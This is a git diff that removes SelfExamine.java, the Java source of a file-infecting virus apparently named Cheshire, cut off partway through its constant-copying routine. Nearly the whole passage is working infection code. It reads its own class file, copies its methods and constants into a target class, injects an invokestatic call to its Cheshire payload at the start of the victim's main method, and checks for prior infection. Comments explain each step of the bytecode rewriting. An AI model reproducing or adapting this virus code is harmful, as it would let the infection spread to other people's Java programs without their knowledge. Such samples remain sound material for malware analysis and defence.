diff --git a/Java/Virus.Java.Chesire.A/src/main/java/SelfExamine.java b/Java/Virus.Java.Chesire.A/src/main/java/SelfExamine.java deleted file mode 100644 index f8405a64..00000000 --- a/Java/Virus.Java.Chesire.A/src/main/java/SelfExamine.java +++ /dev/null @@ -1,1516 +0,0 @@ -import org.graalvm.compiler.nodes.memory.Access; - -import java.io.*; -import java.lang.invoke.MethodHandles; -import java.nio.ByteBuffer; -import java.nio.file.AccessDeniedException; -import java.nio.file.Files; -import java.nio.file.Paths; -import java.util.ArrayList; -import java.util.Arrays; -import java.util.HashMap; -import java.util.Properties; -import java.util.jar.JarEntry; -import java.util.jar.JarFile; -import java.util.jar.JarInputStream; -import java.util.jar.JarOutputStream; -import java.util.zip.ZipException; - - -public class SelfExamine{ - /** - * Basic algorithm: Read ourself, read our own methods to copy them, - * find main in the target class, inject our methods and inject a - * call to the infect/copy function - */ - - /** - * Go through all methods in our parsed class. - * We are assuming the class we're given is probably us and therefore looking - * for our own data to copy in preparation for our target. - * - * We need to copy from the constant pool: - * - Name - * - Descriptor - * - Items for Method Attributes, Fields. Ugh... - * - * How do we want to write this... - * Something like copyMethods(findOurMethods())? - * - * @param parsedClass - */ - public static void findOurMethods(HashMap parsedClass, HashMap target){ - byte[][] methods = (byte[][]) parsedClass.get("methods"); - byte[][] cpool = (byte[][]) parsedClass.get("constant_pool"); - ArrayList our_methods = new ArrayList(); - - - our_methods.add("findOurMethods"); - our_methods.add("copyConstant"); - our_methods.add("Cheshire"); - our_methods.add("processVerificationTypeInfo"); - our_methods.add("parseClassFile"); - our_methods.add("instructionIndex"); - our_methods.add("processInstructions"); - our_methods.add("processAttribute"); - our_methods.add("getUtf8Constant"); - our_methods.add("addToPool"); - our_methods.add("classBytes"); - our_methods.add("copyMethod"); - our_methods.add("getMethodName"); - our_methods.add("getClassName"); - our_methods.add("isInfected"); - our_methods.add("searchFile"); - - - //Loop through our methods and find the ones we're interested in - for(int i = 0; i < methods.length; i++){ - ByteBuffer bb = ByteBuffer.wrap(Arrays.copyOfRange(methods[i], 2, 6)); - int name_index = bb.getShort(); - int descriptor_index = bb.getShort(); - String name = new String(Arrays.copyOfRange(cpool[name_index-1], 3, cpool[name_index-1].length)); - String descriptor = new String(Arrays.copyOfRange(cpool[descriptor_index-1], 3, cpool[descriptor_index-1].length)); - - if(our_methods.contains(name)){ - try { - copyMethod(parsedClass, i, target); - } - catch(IOException e){ - e.printStackTrace(); - } - } - } - } - - /** - * This is a super lame way to detect infection but it'll have to do for now. - * If class has a method called Cheshire, return true. - * @param parsedClass - * @return - */ - public static boolean isInfected(HashMap parsedClass){ - byte[][] methods = (byte[][]) parsedClass.get("methods"); - boolean infected = false; - for(int i = 0; i < methods.length; i++){ - ByteBuffer b = ByteBuffer.wrap(methods[i]); - b.get(new byte[2]); - int nameIndex = b.getShort(); - b.get(new byte[4]); - String methodName = getUtf8Constant(nameIndex, parsedClass); - if(methodName.equals("Cheshire")){ - infected = true; - - } - } - return infected; - } - - /** - * Look for the main method. If it exists, inject invokestatic (cheshire methodref constant pool index) - * Rough method for doing this with our code: - * 1. Find main - * 2. Find the constant pool item corresponding to the Cheshire method - * 2. After all other methods have been added, add invokestatic [methodref] instruction as first instruction of main - * method in victim class. - * 3. Add one to the first stackmapframe offset - * - * - */ - public static void inject(HashMap origin, HashMap destination){ - //Are there any functions called main? - //Get the method, get the code attribute, extract code, place instruction and see if we can extend StackMapFrame - //We should parse through the constant pool, look for the methodref with our method name and capture the index - byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); - int methodRefIndex; - byte[] instruction_bytes = new byte[3]; - - //Since our main virus method is never invoked in any of the methods we've copied, we need to copy the MethodRef - //For that method manually. - - //Find the Constant Pool index of the MethodRef for our virus. - for(int i = 0; i < constant_pool.length; i++){ - byte[] constant = constant_pool[i]; - - if(constant[0] == (byte) 10){ - byte[] natindexbytes = new byte[2]; - System.arraycopy(constant, 3 , natindexbytes, 0, 2); - int NameAndTypeIndex = (short) (((natindexbytes[0] & 0xFF) << 8) | (natindexbytes[1] & 0xFF)); - byte[] NameAndType = constant_pool[NameAndTypeIndex-1]; - byte[] nameindexbytes = new byte[2]; - System.arraycopy(NameAndType, 1, nameindexbytes, 0, 2 ); - int NameIndex = (short) (((nameindexbytes[0] & 0xFF) << 8) | (nameindexbytes[1] & 0xFF)); - String methodName = getUtf8Constant(NameIndex, origin); - if(methodName.equals("Cheshire")){ - methodRefIndex = i+1; - methodRefIndex = copyConstant(origin, methodRefIndex, destination); - ByteBuffer bb = ByteBuffer.allocate(2); - bb.putShort((short) methodRefIndex); - byte[] index_bytes = bb.array(); - byte invokestatic = (byte) 184; - instruction_bytes[0] = invokestatic; - instruction_bytes[1] = index_bytes[0]; - instruction_bytes[2] = index_bytes[1]; - ArrayList inject_instructions = new ArrayList(); - inject_instructions.add(instruction_bytes); - destination.put("inject_instructions", inject_instructions); - } - } - } - - byte[][] methods = (byte[][]) destination.get("methods"); - for(int i = 0; i < methods.length; i++){ - ByteBuffer b = ByteBuffer.wrap(methods[i]); - b.get(new byte[2]); - int nameIndex = b.getShort(); - b.get(new byte[4]); - String methodName = getUtf8Constant(nameIndex, destination); - if(methodName.equals("main")){ - try { - copyMethod((HashMap) destination.clone(), i, destination); - } catch (IOException e) { - e.printStackTrace(); - } - - } - } - - } - - /** - * Fortunately for us, not much to do here. Process verification type info for items on the stack. - * Not touching it, so essentially just copying the data. - * @param b - * @param origin - * @param destination - * @return - */ - public static byte[] processVerificationTypeInfo(ByteBuffer b, HashMap origin, HashMap destination){ - byte tagbyte = b.get(); - int tag = tagbyte & 0xFF; - if(tag >= 0 && tag < 7){ - ByteBuffer newbuff = ByteBuffer.allocate(1); - newbuff.put(tagbyte); - return newbuff.array(); - } - else if(tag == 7){ - ByteBuffer newbuff = ByteBuffer.allocate(3); - int index = b.getShort(); - newbuff.put(tagbyte); - int new_index = copyConstant(origin, index, destination); - newbuff.putShort((short) new_index); - return newbuff.array(); - } - else if(tag == 8){ - ByteBuffer newbuff = ByteBuffer.allocate(3); - newbuff.put(tagbyte); - int offset = b.getShort(); - newbuff.putShort((short) offset); - return newbuff.array(); - } - else { - return null; - } - } - - /** - * Convert the index in the old code byte array to an index at the same instruction in the - * new list. Return the new index. - * First, find the instruction position in the OldList. Then, if necessary, find the remainder. - * Next, take that instruction position and cycle through the newList, adding the length of each instruction - * as you go. Once that instruction position is reached, add the remainder. - * If two instruction lists of different sizes are passed, we assume instructions are being injected at the - * beginning of the list. - * Step 1. How many more instructions in old list than new list? - * Step 2. Start from equivalent position by subtracting number of instructions - * Step 3. Add delta to instruction_pos for accurate offset - * - * @param index - * @param oldList - * @param newList - * @return - */ - public static int instructionIndex(int index, ArrayList oldList, ArrayList newList){ - int oldposition = 0; - int newposition = 0; - int remainder = 0; - int instruction_pos = 0; - int list_offset = 0; - if(oldList.size() != newList.size()){ - list_offset = newList.size() - oldList.size(); - } - // Step one: Convert old index - while(oldposition < index){ - if(oldposition + oldList.get(instruction_pos).length <= index){ - oldposition += oldList.get(instruction_pos).length; - instruction_pos += 1; - } - else if(oldposition + oldList.get(instruction_pos).length > index){ - oldposition += oldList.get(instruction_pos).length; - instruction_pos += 1; - remainder = oldposition - index; - oldposition -= remainder; - } - } - instruction_pos += list_offset; - //Step two: Convert instruction_pos + remainder to new position - for(int i = 0; i < instruction_pos; i++){ - newposition += newList.get(i).length; - } - return newposition; - } - - /** - * This function ended up being more complex than I'd thought. - * We want to create a data structure where new offsets can be calculated based on instruction position. - * Ideally, we keep old and new code in a 2d array and calculate offsets based on where instructions are - * rather than doing individual calculations for each piece. I think it's also ideal if we write - * function to translate an old position to a new one at any given time. Due to functions being processed - * one at a time, I think it's OK to store this data in the origin and destination hash maps(if needed). - * - * The process of adjustment should look something like this: - * Instructions are read into an ArrayList of byte arrays. - * The origin class and the destination class are both given copies of the same list. - * Following that, the origin class is processed to: - * 1. Add new constant pool indices - * 2. Change instructions if necessary - * 3. adjust if, goto offsets - * - * NOTE TO SELF: I SKIPPED PARSING LOOKUPSWTICH BECAUSE IT'S NOT IN ANY OF THE CODE TO BE COPIED - * @param instructions - * @param origin - * @param destination - * @return - */ - public static byte[] processInstructions(byte[] instructions, HashMap origin, HashMap destination, ArrayList injectInstructions){ - ByteBuffer buffer = ByteBuffer.wrap(instructions); - int code_length = instructions.length; - ByteArrayOutputStream bos = new ByteArrayOutputStream(); - ArrayList byteList = new ArrayList(); - while(buffer.hasRemaining()){ - byte instruction = buffer.get(); - if((instruction & 0xff) == 18){ - byte index = buffer.get(); - byte[] inst_bytes = new byte[2]; - inst_bytes[0] = instruction; - inst_bytes[1] = index; - byteList.add(inst_bytes); - } - else if((instruction & 0xff) == 182 || (instruction & 0xff) == 19 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 || (instruction & 0xff) == 180 || (instruction & 0xff) == 20){ - int old_index = buffer.getShort(); - int new_index = copyConstant(origin, old_index, destination); - ByteBuffer temp = ByteBuffer.allocate(2); - temp.putShort((short) new_index); - byte[] index_bytes = temp.array(); - byte[] inst_bytes = new byte[3]; - inst_bytes[0] = instruction; - inst_bytes[1] = index_bytes[0]; - inst_bytes[2] = index_bytes[1]; - byteList.add(inst_bytes); - } - else if((instruction & 0xff) == 186){ - int old_index = buffer.getShort(); - int new_index = copyConstant(origin, old_index, destination); - ByteBuffer tempBuff = ByteBuffer.allocate(2); - tempBuff.putShort((short) new_index); - byte[] index_bytes = tempBuff.array(); - byte b1 = buffer.get(); - byte b2 = buffer.get(); - byte[] inst_bytes = new byte[5]; - inst_bytes[0] = instruction; - inst_bytes[1] = index_bytes[0]; - inst_bytes[2] = index_bytes[1]; - index_bytes[3] = b1; - index_bytes[4] = b2; - byteList.add(inst_bytes); - } - else if((instruction & 0xff) == 201){ - byte b1 = buffer.get(); - byte b2 = buffer.get(); - byte b3 = buffer.get(); - byte b4 = buffer.get(); - byte[] inst_bytes = new byte[5]; - inst_bytes[0] = b1; - inst_bytes[1] = b2; - inst_bytes[2] = b3; - inst_bytes[3] = b4; - byteList.add(inst_bytes); - } - else if((instruction & 0xff) == 185){ - int old_index = buffer.getShort(); - int new_index = copyConstant(origin, old_index, destination); - ByteBuffer temp = ByteBuffer.allocate(2); - temp.putShort((short) new_index); - byte[] indexBytes = temp.array(); - byte b1 = buffer.get(); - byte b2 = buffer.get(); - byte[] inst_bytes = new byte[5]; - inst_bytes[0] = instruction; - inst_bytes[1] = indexBytes[0]; - inst_bytes[2] = indexBytes[1]; - inst_bytes[3] = b1; - inst_bytes[4] = b2; - byteList.add(inst_bytes); - } - else if((instruction & 0xff) == 200){ - byte[] inst_bytes = new byte[5]; - inst_bytes[0] = instruction; - byte b1 = buffer.get(); - byte b2 = buffer.get(); - byte b3 = buffer.get(); - byte b4 = buffer.get(); - inst_bytes[1] = b1; - inst_bytes[2] = b2; - inst_bytes[3] = b3; - inst_bytes[4] = b4; - byteList.add(inst_bytes); - } - else if((instruction & 0xff) == 17 || (instruction & 0xff) == 181 || (instruction & 0xff) == 165 || (instruction & 0xff) == 166 || (instruction & 0xff) == 159 || (instruction & 0xff) == 160 || (instruction & 0xff) == 161 || (instruction & 0xff) == 162 || (instruction & 0xff) == 163 || (instruction & 0xff) == 164 || (instruction & 0xff) == 153 || (instruction & 0xff) == 154 || (instruction & 0xff) == 155 || (instruction & 0xff) == 156 || (instruction & 0xff) == 157 || (instruction & 0xff) == 158 || (instruction & 0xff) == 199 || (instruction & 0xff) == 198 || (instruction & 0xff) == 132 || (instruction & 0xff) == 193 || (instruction & 0xff) == 168 || (instruction & 0xff) == 167 || (instruction & 0xff) == 179){ - byte b1 = buffer.get(); - byte b2 = buffer.get(); - byte[] inst_bytes = new byte[3]; - inst_bytes[0] = instruction; - inst_bytes[1] = b1; - inst_bytes[2] = b2; - byteList.add(inst_bytes); - - } - else if((instruction & 0xff) == 188 || (instruction & 0xff) == 22 || (instruction & 0xff) == 55 || (instruction & 0xff) == 25 || (instruction & 0xff) == 58 || (instruction & 0xff) == 16 || (instruction & 0xff) == 24 || (instruction & 0xff) == 57 || (instruction & 0xff) == 23 || (instruction & 0xff) == 56 || (instruction & 0xff) == 21 || (instruction & 0xff) == 54){ - byte[] inst_bytes = new byte[2]; - inst_bytes[0] = instruction; - byte b = buffer.get(); - inst_bytes[1] = b; - byteList.add(inst_bytes); - } - else if((instruction & 0xff) == 182 || (instruction & 0xff) == 183 || (instruction & 0xff) == 192 || (instruction & 0xff) == 187 || (instruction & 0xff) == 184 || (instruction & 0xff) == 178 || (instruction & 0xff) == 189 ){ - byte[] inst = new byte[3]; - inst[0] = instruction; - int old_index = buffer.getShort(); - int new_index = copyConstant(origin, old_index, destination); - ByteBuffer temp = ByteBuffer.allocate(2); - temp.putShort((short) new_index); - byte[] index_bytes = temp.array(); - inst[1] = index_bytes[0]; - inst[2] = index_bytes[1]; - byteList.add(inst); - } - else if((instruction & 0xff) == 197){ - byte[] inst_bytes = new byte[4]; - inst_bytes[0] = instruction; - inst_bytes[1] = buffer.get(); - inst_bytes[2] = buffer.get(); - inst_bytes[3] = buffer.get(); - byteList.add(inst_bytes); - } - else { - byte[] inst = new byte[1]; - inst[0] = instruction; - byteList.add(inst); - } - } - origin.put("method_code", byteList.clone()); - - int code_position = 0; - - for(byte[] bytes : byteList) { - byte[] inst = bytes; - if (inst[0] == 18) { - int old_index = inst[1] & 0xff; - int new_index = copyConstant(origin, old_index, destination); - byte[] new_inst; - if (new_index > 255) { - new_inst = new byte[3]; - ByteBuffer b = ByteBuffer.allocate(2); - b.putShort((short) new_index); - new_inst[0] = 19; - new_inst[1] = b.array()[0]; - new_inst[2] = b.array()[1]; - byteList.set(byteList.indexOf(inst), new_inst); - } else { - new_inst = new byte[2]; - new_inst[0] = 18; - new_inst[1] = (byte) new_index; - byteList.set(byteList.indexOf(inst), new_inst); - } - - } - } - ArrayList newList = new ArrayList(); - if(injectInstructions != null){ - newList.addAll(injectInstructions); - newList.addAll(byteList); - } - else{ - newList = byteList; - } - - for(int i = 0; i < byteList.size(); i++){ - byte[] inst = byteList.get(i); - int list_offset = newList.size() - byteList.size(); - int instruction = inst[0] & 0xFF; - if((inst[0] & 0xff) == 198 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 159 || (inst[0] & 0xff) == 155 || (inst[0] & 0xff) == 160 || (inst[0] & 0xff) == 161 || (inst[0] & 0xff) == 162 || (inst[0] & 0xff) == 163 || (inst[0] & 0xff) == 164 || (inst[0] & 0xff) == 153 || (inst[0] & 0xff) == 199){ - int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF)); - int new_position = instructionIndex(code_position, (ArrayList) origin.get("method_code"), newList); - int new_offset = instructionIndex(code_position + offset, (ArrayList) origin.get("method_code"), newList)- new_position; - ByteBuffer offset_buff = ByteBuffer.allocate(3); - offset_buff.put(inst[0]); - offset_buff.putShort((short) new_offset); - newList.set(i+list_offset, offset_buff.array()); - } - if((inst[0] & 0xff) == 167){ - int offset = (short) (((inst[1] & 0xFF) << 8) | (inst[2] & 0xFF)); - int new_position = instructionIndex(code_position, (ArrayList) origin.get("method_code"), newList); - int new_offset = instructionIndex(code_position + offset, (ArrayList) origin.get("method_code"), newList)- new_position; - ByteBuffer offset_buff = ByteBuffer.allocate(3); - offset_buff.put(inst[0]); - offset_buff.putShort((short) new_offset); - newList.set(i+list_offset, offset_buff.array()); - } - code_position += ((ArrayList) origin.get("method_code")).get(i).length; - - } - destination.put("method_code", newList.clone()); - for(byte[] inst : newList){ - try { - bos.write(inst); - } catch (IOException e) { - e.printStackTrace(); - } - } - - return bos.toByteArray(); - } - - /** - * Returns an array of bytes corresponding to a set of attributes passed to it. Could be one or several. - * @return - */ - public static byte[] processAttribute(byte[] attribute, HashMap origin, HashMap destination, String type) { - ByteBuffer b = ByteBuffer.allocate(attribute.length); - ByteBuffer buffer = ByteBuffer.wrap(attribute); - - if(type.equals("Code")){ - //method_buffer[] - ByteBuffer tempBuffer = ByteBuffer.allocate(4); - tempBuffer.putShort(buffer.getShort()); - tempBuffer.putShort(buffer.getShort()); - int code_length = buffer.getInt(); - - byte[] code = new byte[code_length]; - buffer.get(code); - origin.put("method_code", null); - destination.put("method_code", null); - byte[] instructions = processInstructions(code, origin, destination, (ArrayList) destination.get("inject_instructions")); - b = ByteBuffer.allocate(attribute.length + (instructions.length - code_length)); - b.put(tempBuffer.array()); - code_length = instructions.length; - b.putInt(code_length); - b.put(instructions); - int exception_table_length = buffer.getShort(); - b.putShort((short) exception_table_length); - - for(int c = 0; c < exception_table_length; c++){ - byte[] dump = new byte[6]; - buffer.get(dump); - HashMap offsets = (HashMap) origin.get("method_offsets"); - int start_pc = (short) (((dump[0] & 0xFF) << 8) | (dump[1] & 0xFF)); - int end_pc = (short) (((dump[2] & 0xFF) << 8) | (dump[3] & 0xFF)); - int handler_pc = (short) (((dump[4] & 0xFF) << 8) | (dump[5] & 0xFF)); - start_pc = instructionIndex(start_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); - end_pc = instructionIndex(end_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); - handler_pc = instructionIndex(handler_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); - b.putShort((short) start_pc); - b.putShort((short) end_pc); - b.putShort((short) handler_pc); - int catch_type = buffer.getShort(); - int new_catch_type = copyConstant(origin, catch_type, destination); - b.putShort((short) new_catch_type); - - } - - int attributes_count = buffer.getShort(); - b.putShort((short) attributes_count); - for(int d = 0; d < attributes_count; d++){ - int name_index = buffer.getShort(); - int new_name_index = copyConstant(origin, name_index, destination); - b.putShort((short) new_name_index); - int attribute_length = buffer.getInt(); - b.putInt(attribute_length); - byte[] new_attribute = new byte[attribute_length]; - buffer.get(new_attribute); - byte[] processedAttributed = processAttribute(new_attribute, origin, destination, getUtf8Constant(name_index, origin)); - if(processedAttributed.length == attribute_length){ - b.put(processedAttributed); - } - } - return b.array(); - } - else if(type.equals("LocalVariableTable")){ - int table_length = buffer.getShort(); - HashMap offsets = (HashMap) origin.get("method_offsets"); - b.putShort((short) table_length); - HashMap LVT = new HashMap(); - for(int i = 0; i < table_length; i++) { - int start_pc = buffer.getShort(); - int length = buffer.getShort(); - int pc_length = start_pc+length; - start_pc = instructionIndex(start_pc, (ArrayList) origin.get("method_code"),(ArrayList) destination.get("method_code")); - length = instructionIndex(pc_length, (ArrayList) origin.get("method_code"),(ArrayList) destination.get("method_code")) - start_pc; - if(start_pc == 65535){ - System.out.println("Woah nelly!"); - } - b.putShort((short) start_pc); - b.putShort((short) length); - int orig_name_index = buffer.getShort(); - - int new_name_index = copyConstant(origin, orig_name_index, destination); - b.putShort((short) new_name_index); - int orig_descriptor_index = buffer.getShort(); - int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); - b.putShort((short) new_descriptor_index); - b.putShort(buffer.getShort()); - int[] values = new int[2]; - values[0] = new_name_index; - values[1] = new_descriptor_index; - LVT.put(getUtf8Constant(orig_name_index, origin), values); - } - origin.put("LVT", LVT); - return b.array(); - } - else if(type.equals("LocalVariableTypeTable")){ - int table_length = buffer.getShort(); - b.putShort((short) table_length); - HashMap LVT = (HashMap) origin.get("LVT"); - HashMap offsets = (HashMap) origin.get("method_offsets"); - for(int i = 0; i < table_length; i++) { - int start_pc = buffer.getShort(); - int length = buffer.getShort(); - int pc_length = start_pc+length; - start_pc = instructionIndex(start_pc, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")); - b.putShort((short) start_pc); - length = instructionIndex(pc_length, (ArrayList) origin.get("method_code"),(ArrayList) destination.get("method_code")) - start_pc; - b.putShort((short) length); - int orig_name_index = buffer.getShort(); - int[] indices = LVT.get(getUtf8Constant(orig_name_index, origin)); - int new_name_index = (short) indices[0]; - b.putShort((short) indices[0]); - int orig_descriptor_index = buffer.getShort(); - int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); - b.putShort((short) indices[1]); - b.putShort(buffer.getShort()); - } - return b.array(); - } - else if(type.equals("Signature")){ - int old_signature_index = buffer.getShort(); - int new_signature_index = copyConstant(origin, old_signature_index, destination); - b.putShort((short) new_signature_index); - return b.array(); - } - else if(type.equals("Exceptions")){ - int number_of_exceptions = buffer.getShort(); - b.putShort((short) number_of_exceptions); - for(int i = 0; i < number_of_exceptions; i++){ - int class_index = buffer.getShort(); - int new_class_index = copyConstant(origin, class_index, destination); - b.putShort((short) new_class_index); - } - return b.array(); - } - else if(type.equals("StackMapTable")){ - int num_entries = buffer.getShort(); - ByteArrayOutputStream bos = new ByteArrayOutputStream(); - int frame_position = 0; - int old_frame_position = 0; - for(int i = 0; i < num_entries; i++){ - - byte tagbyte = buffer.get(); - int tag = tagbyte & 0xFF; - - if(tag >= 0 && tag <= 63){ - int new_offset = instructionIndex(old_frame_position + tag + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position +i); - old_frame_position += tag; - - Integer a = new_offset; - byte newtag = a.byteValue(); - bos.write(newtag); - - frame_position += new_offset; - - } - else if(tag >= 64 && tag <= 127){ - - int new_offset = instructionIndex(old_frame_position + (tag - 64) + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); - - old_frame_position += (tag - 64); - - byte newtag = (byte) (new_offset+64); - bos.write(newtag); - try { - bos.write(processVerificationTypeInfo(buffer, origin, destination)); - } - catch (IOException e){ - - } - frame_position += new_offset; - - } - else if(tag == 247){ - bos.write(tagbyte); - ByteBuffer bbuf = ByteBuffer.allocate(2); - int offset = buffer.getShort(); - int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); - - old_frame_position += offset; - - bbuf.putShort((short) new_offset); - try { - bos.write(bbuf.array()); - bos.write(processVerificationTypeInfo(buffer, origin, destination)); - } - catch (IOException e){ - - } - - frame_position += new_offset; - - } - else if(tag >= 248 && tag <= 251){ - bos.write(tagbyte); - int offset = buffer.getShort(); - int new_offset = instructionIndex(old_frame_position + offset + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); - old_frame_position += offset; - ByteBuffer bbuf = ByteBuffer.allocate(2); - - bbuf.putShort((short) new_offset); - - try { - bos.write(bbuf.array()); - } - catch (IOException e){ - - } - - frame_position += new_offset; - - } - else if(tag >= 252 && tag <= 254){ - bos.write(tagbyte); - ByteBuffer bbuf = ByteBuffer.allocate(2); - byte[] offset = new byte[2]; - int o_offset = buffer.getShort(); - int offset_i = instructionIndex(o_offset + old_frame_position + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); - - old_frame_position += o_offset; - - - bbuf.putShort((short) offset_i); - - try { - bos.write(bbuf.array()); - int numtypes = tag - 251; - for(int a = 0; a < numtypes; a++) { - bos.write(processVerificationTypeInfo(buffer, origin, destination)); - } - } catch (IOException e) { - e.printStackTrace(); - } - - frame_position += offset_i; - - - - } - else if(tag == 255){ - bos.write(tagbyte); - byte[] offset = new byte[2]; - int offset_int = buffer.getShort(); - int new_offset = instructionIndex(old_frame_position + offset_int + i, (ArrayList) origin.get("method_code"), (ArrayList) destination.get("method_code")) - (frame_position+i); - old_frame_position += offset_int; - - - ByteBuffer bbuf = ByteBuffer.allocate(2); - bbuf.putShort((short) new_offset); - - try { - bos.write(bbuf.array()); - int num_locals = buffer.getShort(); - bbuf = ByteBuffer.allocate(2); - bbuf.putShort((short) num_locals); - bos.write(bbuf.array()); - for(int a = 0; a < num_locals; a++){ - bos.write(processVerificationTypeInfo(buffer, origin, destination)); - } - int num_stack_items = buffer.getShort(); - bbuf = ByteBuffer.allocate(2); - bbuf.putShort((short) num_stack_items); - bos.write(bbuf.array()); - for(int a= 0; a < num_stack_items; a++){ - bos.write(processVerificationTypeInfo(buffer, origin, destination)); - } - } catch (IOException e) { - e.printStackTrace(); - } - - frame_position += new_offset; - - } - } - b.putShort((short) num_entries); - b.put(bos.toByteArray()); - return b.array(); - } - else if(type.equals("LineNumberTable")){ - int table_length = buffer.getShort(); - b.putShort((short) table_length); - for(int i = 0; i < table_length; i++){ - b.putShort((short) (i+1)); - buffer.getShort(); - b.putShort(buffer.getShort()); - } - return b.array(); - } - return buffer.array(); -} - - /** - * Easily turn a Utf8 String index into a string we can read. - * @param index - * @param parsedClass - * @return - */ - public static String getUtf8Constant(int index, HashMap parsedClass){ - byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool"); - byte[] constant = constant_pool[index-1]; - return new String(Arrays.copyOfRange(constant, 3, constant.length)); - } - - /** - * Pass a set of bytes in a class, return the name of the method. - * @param method - * @param parsedClass - * @return - */ - public static String getMethodName(byte[] method, HashMap parsedClass){ - ByteBuffer method_buffer = ByteBuffer.wrap(method); - method_buffer.get(new byte[2]); - int name_index = method_buffer.getShort(); - return getUtf8Constant(name_index, parsedClass); - } - - /** - * - * Copy a method from one parsed class to another. - * If the method already exists, overwrite it. This is because I'm lazy and didn't want to write a - * separate method for handling injection. - * @param parsedClass - * @param orig_method_index - * @param destination - * @return The index of the method in the new file - * - */ - public static int copyMethod(HashMap origin, int orig_method_index, HashMap destination) throws IOException { - byte[][] orig_methods = (byte[][]) origin.get("methods"); - byte[] method = orig_methods[orig_method_index]; - boolean overwrite = false; - - String methodName = getMethodName(method, origin); - ByteBuffer method_buffer = ByteBuffer.wrap(method); - ByteArrayOutputStream bos = new ByteArrayOutputStream(); - ByteBuffer b = ByteBuffer.allocate(8); - byte[] access_flags = new byte[2]; - method_buffer.get(access_flags); - b.put(access_flags); - int orig_name_index = method_buffer.getShort(); - int new_name_index = copyConstant(origin, orig_name_index, destination); - b.putShort((short) new_name_index); - - int orig_descriptor_index = method_buffer.getShort(); - int new_descriptor_index = copyConstant(origin, orig_descriptor_index, destination); - b.putShort((short) new_descriptor_index); - - int attribute_count = method_buffer.getShort(); - b.putShort((short) attribute_count); - bos.write(b.array()); - b.clear(); - HashMap offsets = new HashMap(); - origin.put("method_offsets", offsets); - - for(int i = 0; i < attribute_count; i++){ - b = ByteBuffer.allocate(6); - int old_name_index = method_buffer.getShort(); - int new_attr_name_index = copyConstant(origin, old_name_index, destination); - - int attribute_length = method_buffer.getInt(); - byte[][] cpool = (byte[][]) origin.get("constant_pool"); - - byte[] attr_name_bytes = cpool[old_name_index-1]; - String name = getUtf8Constant(old_name_index, origin); - - byte[] attribute = new byte[attribute_length]; - method_buffer.get(attribute); - - byte[] new_attribute = processAttribute(attribute, origin, destination, name); - - b.putShort((short) new_attr_name_index); - b.putInt(new_attribute.length); - bos.write(b.array()); - bos.write(new_attribute); - - - } - byte[][] dest_methods = (byte[][]) destination.get("methods"); - byte[][] temp_new_methods = new byte[dest_methods.length+1][]; - - for(int a = 0; a < dest_methods.length; a++){ - if(methodName.equals(getMethodName(dest_methods[a], destination))){ - overwrite = true; - } - } - if(overwrite == true){ - temp_new_methods = new byte[dest_methods.length][]; - for(int a = 0; a < dest_methods.length; a++){ - if(methodName.equals(getMethodName(dest_methods[a], destination))){ - temp_new_methods[a] = bos.toByteArray(); - } - else{ - temp_new_methods[a] = dest_methods[a]; - } - } - } - else{ - for(int a = 0; a < dest_methods.length; a++){ - temp_new_methods[a] = dest_methods[a]; - } - temp_new_methods[dest_methods.length] = bos.toByteArray(); - } - destination.put("methods", temp_new_methods); - return dest_methods.length+1; - } - - /** - * Add an item to the constant pool. - */ - public static int addToPool(HashMap parsedClass, byte[] new_data){ - byte[][] target_constant_pool = (byte[][]) parsedClass.get("constant_pool"); - int pool_size = target_constant_pool.length+1; - byte[][] temp_target_pool = new byte[pool_size][]; - for(int a = 0; a < pool_size-1; a++){ - temp_target_pool[a] = target_constant_pool[a]; - } - temp_target_pool[pool_size-1] = new_data; - parsedClass.put("constant_pool", temp_target_pool); - return pool_size; - } - - /** - * Get a class's name as a String based on the name of this_class. - * @param parsedClass - * @return - */ - public static String getClassName(HashMap parsedClass){ - byte[] selfClassBytes = (byte[]) parsedClass.get("this_class"); - byte[][] constant_pool = (byte[][]) parsedClass.get("constant_pool"); - ByteBuffer selfBytes = ByteBuffer.wrap(selfClassBytes); - int self_class_index = selfBytes.getShort(); - byte[] selfClass = constant_pool[self_class_index-1]; - ByteBuffer selfClassBuff = ByteBuffer.wrap(selfClass); - selfClassBuff.get(); - int classNameIndex = selfClassBuff.getShort(); - return getUtf8Constant(classNameIndex, parsedClass); - } - - /** - * Let's think about how we're doing this... - * - * Ideally we want to pass in the original constant index, copy the data, place it in the target - * and return the new index. This makes copying methods easier when it comes to the attributes. - * - * @return The new index of the copied constant - */ - public static int copyConstant(HashMap origin, int origin_index, HashMap destination){ - byte[][] constant_pool = (byte[][]) origin.get("constant_pool"); - byte[] orig_constant = constant_pool[origin_index-1]; - - //Create a map between the old and new constant pools - //This will help us avoid copying too many vars over and being wasteful - if(origin.get("constant_pool_map") == null){ - HashMap constant_pool_map = new HashMap(); - origin.put("constant_pool_map", constant_pool_map); - } - HashMap constant_pool_map = (HashMap) origin.get("constant_pool_map"); - if(constant_pool_map.keySet().contains(origin_index)){ - return constant_pool_map.get(origin_index); - } - int const_tag = orig_constant[0]; - if(const_tag == 1){ - int new_index = addToPool(destination, orig_constant); - constant_pool_map.put(origin_index, new_index); - return new_index; - } - else if(const_tag == 7){ - ByteBuffer b = ByteBuffer.allocate(3); - int orig_name_index = (short) (((orig_constant[1] & 0xFF) << 8) | (orig_constant[2] & 0xFF)); - int new_name_index = copyConstant(origin, orig_name_index, destination); - b.put(orig_constant[0]); - 